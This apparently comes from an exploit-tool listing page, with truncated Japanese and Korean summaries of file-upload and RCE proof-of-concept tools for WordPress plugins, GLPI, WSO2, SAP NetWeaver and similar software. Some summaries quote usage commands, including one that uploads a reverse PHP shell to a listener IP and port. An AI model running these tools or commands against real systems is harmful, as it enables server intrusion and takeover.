WPForce

WPForce - Wordpress 공격 스위트 소개: WPForce는 Wordpress 공격 도구 모음입니다. 현재 이 모음에는 2개의 스크립트가 포함되어 있습니다 - API를 통해 로그인을 무차별 대입 공격하는 WPForce와, 관리자 자격 증명이 발견되면 셸을 업로드하는 Yertle입니다. Yertle에는 또한 다수의 사후 침투post exploitation 모듈이 포함되어 있습니다. 자세한 내용은 블로그 게시물을 참조하세요:...

fortilogger_arbitrary_fileupload

CVE-2021-3378 | FortiLogger - 認証なし任意ファイルアップロード Metasploit 日付: 30-01-2021 エクスプロイト作者: Berkan Er [email protected] ベンダーホームページ: https://www.fortilogger.com/ ソフトウェアリンク: https://www.fortilogger.com/download バージョン: 4.4.2.2 テスト環境: Windows 10 Enterprise x64 CVE: 2021-3378 公開日: 26-02-2021...

CVE-2023-46694

CVE-2023-46694 発見者: Federico Zambito（Innovery所属） 概要 Vtenext 21.02 では、認証された攻撃者が任意のファイルをアップロードでき、リモートコード実行が可能になります。この脆弱性は、Ckeditor ファイルマネージャー機能にアクセスする際に、アプリケーションが適切な認証制御を適用していないことに起因します。 発見日: 2023年4月11日 2023年7月5日 - ベンダーにメールで連絡（1回目） 2023年7月11日 - ベンダーにレポートを送信 2023年10月25日 - CVE-2023-46694 が発行...

CVE-2026-3891

CVE-2026-3891 Pix for WooCommerce プロトコルが無い場合 → スクリプトが自動的に http:// を追加します 2️⃣ シェルを追加 シェルファイルを同じディレクトリに配置: root@kitploit: shell.php 3️⃣ エクスプロイトを実行 root@kitploit: python3 CVE-2026-3891.py 4️⃣ 対話式入力 スクリプトが次の項目を尋ねます: ターゲットファイル（デフォルト: list.txt） スレッド数（デフォル...

CVE-2026-1555

CVE-2026-1555 WebStack = 1.2024 - 認証なし任意ファイルアップロード 👤 作成者: Nxploited 🔗 Nxploited ZeroDay Hub — t.me/KNxploited 💀 CVE-2026-1555 — WebStack WordPress 任意ファイルアップロード imgupload AJAX ハンドラを介した認証なしリモートコード実行...

CVE-2020-24186_reverse_shell_upload

CVE-2020-24186 リバースシェルアップロード h3v0x 氏による エクスプロイト に基づいた WpDiscuz 7.0.4 用のエクスプロイト。 脆弱性を悪用し、リバース PHP シェルをアップロードします。着想は Blogger CTF から得ました。 exploit.py -u http://192.168.1.81/blog -p /wordpress/2021/06/blogpost -l '192.168.1.9' -s 9001 使用例:...

CVE-2022-29464

WSO2 任意ファイルアップロードによるリモートコマンド実行 RCE https://docs.wso2.com/display/Security/Security+Advisory+WSO2-2021-1738 例 root@kitploit: python3 exploit.py https://target.org:9443 shell.jsp...

CVE-2026-3891

Pix for WooCommerce = 1.5.0 - 認証なし任意ファイルアップロード CVE-2026-3891 PoC 📜 説明 CVE-2026-3891 は、WordPress プラグイン Pix for WooCommerce における認証なし任意ファイルアップロードの脆弱性です。このプラグインは、認証なしで証明書ファイルのアップロードを受け付ける AJAX エンドポイント lknpixforwoocommercec6savesettings を公開しています。nonce は、別の公開エンドポイント lknpixforwoocommercegeneratenonce...

CVE-2025-24801

CVE-2025-24801 GLPI RCE の PoC このリポジトリには、GLPI 10.0.17 の LFI から RCE に至る脆弱性 CVE-2025-24801 を悪用する概念実証スクリプト poc.py が含まれています。自動化する内容は以下の通りです： GLPI へのログイン 文書タイプ設定の更新による .php アップロードの有効化 AJAX ファイルアップロードエンドポイントを介した PHP リバースシェルのアップロード 🛠️ インストール root@kitploit: git clone...

OpenSTAManager-RCE-Exploit-CVE-2026-38751

OpenSTAManager RCE Exploit CVE-2026-38751 任意ファイルアップロードによるリモートコード実行 CVE-2026-38751 向けのフル機能を備えた概念実証（PoC）で、Rust で記述されています。 警告 : このツールは許可されたセキュリティテストおよび教育目的のみ を対象としています。所有しているシステム、またはテストする明示的な許可を得たシステムでのみ使用してください。 説明 OpenSTAManager ≤ 2.10 には、認証済みの任意ファイルアップロード の脆弱性があり、攻撃者が PHP ウェブシェルを含む悪意のある ZIP...

GL.iNet-Multiple-Vulnerabilities

GL.iNet の複数の脆弱性 このリポジトリには、以下の脆弱性のエクスプロイトが含まれています： CVE-2023-46454: GL.iNET GL-AR300M ルーター（ファームウェア v4.3.7）において、パッケージ情報機能で細工されたパッケージ名を介して任意のシェルコマンドを注入することが可能です。 CVE-2023-46455: GL.iNET GL-AR300M ルーター（ファームウェア v4.3.7）において、OpenVPN クライアントのファイルアップロード機能でパストラバーサル攻撃を介して任意のファイルを書き込むことが可能です。 CVE-2023-46456:...

CVE-2024-9932

CVE-2024-9932 Wux Blog Editor = 3.0.0 - 인증되지 않은 임의 파일 업로드 설명: Wux Blog Editor WordPress 플러그인은 3.0.0 및 이전 버전에서 'wuxbtinsertImageNew' 함수의 파일 형식 검증 부족으로 인해 임의 파일 업로드에 취약합니다. 이로 인해 인증되지 않은 공격자가 영향을 받는 사이트의 서버에 임의의 파일을 업로드할 수 있으며, 원격 코드 실행이 가능해질 수 있 root@kitploit: Link: CVE-2024-9932 State: PUBLISHED...

XSS2Shell

XSS2Shell XSS2Shell は、CVE-2026-64638 の教育的な概念実証（PoC）であり、脆弱な WordPress インストールにおける事前認証 XSS 問題の影響を示すものです。管理者が明示的に参加することで、PoC は WordPress アプリケーションパスワードを取得し、一時ページを公開し、テストプラグインをアップロードし、生成されたシェルエンドポイントがコマンドを実行できるかどうかを確認します。 技術的背景: WordPress の事前認証 XSS から RCE へ: CVE-2026-64638 教育および許可を得たテストのみを対象としています。...

CVE-2024-37084-Poc

CVE-2024-37084-Poc CVE-2024-37084 に関するセットアップ、分析、デモエクスプロイト、PoC 使い方 : root@kitploit: py .\CVE-2024-37084-Poc.py usage: python CVE-2024-37084-Poc.py --targeturl --version --payloadurl --listenip --listenport PoC for CVE-2024-37084 - Remote Code Execution optional arguments: -h, --help show this help...

POC-bomber

🔥 POC-bomber 🦄 POC bomber は、多数の高危険度脆弱性のPOC/EXPを利用して、ターゲットサーバーの権限を迅速に取得することを目的とした脆弱性検出・利用ツールです 本プロジェクトは、インターネット上のRCE・任意ファイルアップロード・デシリアライゼーション・SQLインジェクションなど、危険性が高くサーバーの中核権限を取得できる脆弱性のPOC/EXPを収集し、POC bomber...

CVE-2021-38163

CVE-2021-38163 CVE-2021-38163 - SAP Netveawer 用エクスプロイト SAP NetWeaver Visual Composer 7.0 RT バージョン - 7.30, 7.31, 7.40, 7.50 において、制限がなく、非管理ユーザーとして認証された攻撃者がネットワーク経由で悪意のあるファイルをアップロードし、その処理をトリガーすることができます。これにより、Java Server...

ATutor-2.2.4-Language-Exploit

ATutor 2.2.4 任意ファイルアップロード / RCE CVE-2019-12169 Exploit Title: ATutor 2.2.4 任意ファイルアップロード / RCE CVE-2019-12169 Date: 2019年5月24日 Exploit Author: liquidsky JMcPeters Vendor Homepage: https://atutor.github.io/ Software Link: https://sourceforge.net/projects/atutor/files/latest/download Version: 2.2.4...

Crater-CVE-2023-46865-RCE

Crater-CVE-2023-46865-RCE Crater =6.0.6、CVE-2023-46865 認証後RCE（スーパー管理者） 脆弱性の説明 Crater Invoiceは適切な入力検証が行われていないため、危険なタイプのファイルを無制限にアップロードできるという脆弱性があります。Base64Mimeチェッククラスは、IDAT画像チャンクに有効なPHPペイロードを埋め込むことでバイパスできます。スーパー管理者権限を持つユーザーは、/api/v1/company/upload-logo で会社ロゴを通じて細工されたペイロードをアップロードできます。 使用方法...

Cgi-Exploit-Jp-Shell-Upload

Cgi-Exploit-Jp-Shell-Upload Python 2.7 お読みください： このPythonツールをエディタで開いたり、コードを削除したりしないでください。エラーが発生する原因になります。エラーが発生した場合は、このGithubから再インストールしてください。ありがとうございます。 また、サンプルサイトの前にはhttp://を使用してください http://site.com 寄付： BTC：31mtLHqhaXXyCMnT2EU73U8fwYwigiEEU1 Perfect Money：U22270614...

CVE-2023-40028

CVE-2023-40028 PoC Exploit Ghost CMS におけるシンボリックリンクのアップロード脆弱性により任意のファイル読み取りが可能 POC Image 脆弱性の詳細 CVE-2023-40028 は、5.59.1 より前のバージョンの Ghost CMS における脆弱性であり、認証されたユーザーがシンボリックリンク symlink をアップロードでき、それがホストシステム上の任意のファイル読み取りを引き起こします。この脆弱性は、Ghost CMS...